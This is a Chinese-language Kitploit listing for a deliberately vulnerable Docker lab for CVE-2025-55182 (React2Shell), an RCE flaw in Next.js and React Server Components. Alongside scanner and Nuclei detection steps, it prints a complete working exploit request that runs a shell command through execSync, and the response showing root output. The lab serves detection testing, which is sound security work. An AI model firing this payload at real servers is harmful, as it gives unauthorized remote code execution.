Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-55182 — 基于 Docker 的实验室环境,用于检测和利用 Next.js/React Server Components 中的 CVE-2025-55182(React2Shell RCE)漏洞,包含预配置的易受攻击环境和 PoC 扫描器。 | Kitploit
工具/GitHubGitHub/l4rm4nd/cve-2025-55182
Web漏洞扫描器漏洞分析Web应用程序漏洞利用渗透测试学习与教育红队实验室与实践
GitHubl4rm4nd/cve-2025-55182

CVE-2025-55182

基于 Docker 的实验室环境,用于检测和利用 Next.js/React Server Components 中的 CVE-2025-55182(React2Shell RCE)漏洞,包含预配置的易受攻击环境和 PoC 扫描器。

查看仓库
862659个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

React2Shell PoC

此仓库提供了一个最小化的、故意存在漏洞的环境,用于测试安全扫描器对影响 React Server Components 和 Next.js 的最新严重 RCE 漏洞(React2Shell)的检测能力。

CVE-2025-55182:在 React Server Components 版本 19.0.0、19.1.0、19.1.1 和 19.2.0 中存在一个预认证远程代码执行漏洞,涉及以下包:react-server-dom-parcel、react-server-dom-turbopack 和 react-server-dom-webpack。存在漏洞的代码不安全地从 HTTP 请求反序列化 Server Function 端点中的 payload。

CVE-2025-66478:追踪了对使用 App Router 的 Next.js 应用程序的下游影响。

[!Warning] 此环境故意存在漏洞,绝不可暴露于公共互联网或用于生产环境。


这是什么

这是一个极小的 Next.js 项目,它:

  • 固定使用了 存在漏洞的版本:
    • next:16.0.6
    • react:19.2.0
    • react-dom:19.2.0
  • 使用了一个极简的 NextJS 配置,包含 app router 和 React server actions

[!TIP] 固定 react 和 react-dom 是可选的,因为受影响的 next 版本由于 app router 默认就是易受攻击的。

如何运行

root@kitploit:~
docker run --rm -p 127.0.0.1:3000:3000 ghcr.io/l4rm4nd/cve-2025-55182:latest

如何检测

AssetNote 扫描器

使用 AssetNote 提供的扫描器:

root@kitploit:~
git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate && pip install -r requirements.txt

python3 scanner.py -u http://127.0.0.1:3000

会返回:

root@kitploit:~
╰─(venv) ⠠⠵ python3 scanner.py -u http://127.0.0.1:3000             

brought to you by assetnote

[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled

[VULNERABLE] http://127.0.0.1:3000 - Status: 303

Nuclei

root@kitploit:~
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000

会返回:

root@kitploit:~
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://127.0.0.1:3000

如何利用

PoC HTTP payload 来自此处。

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

会返回:

root@kitploit:~
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195

0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}

image
下载工具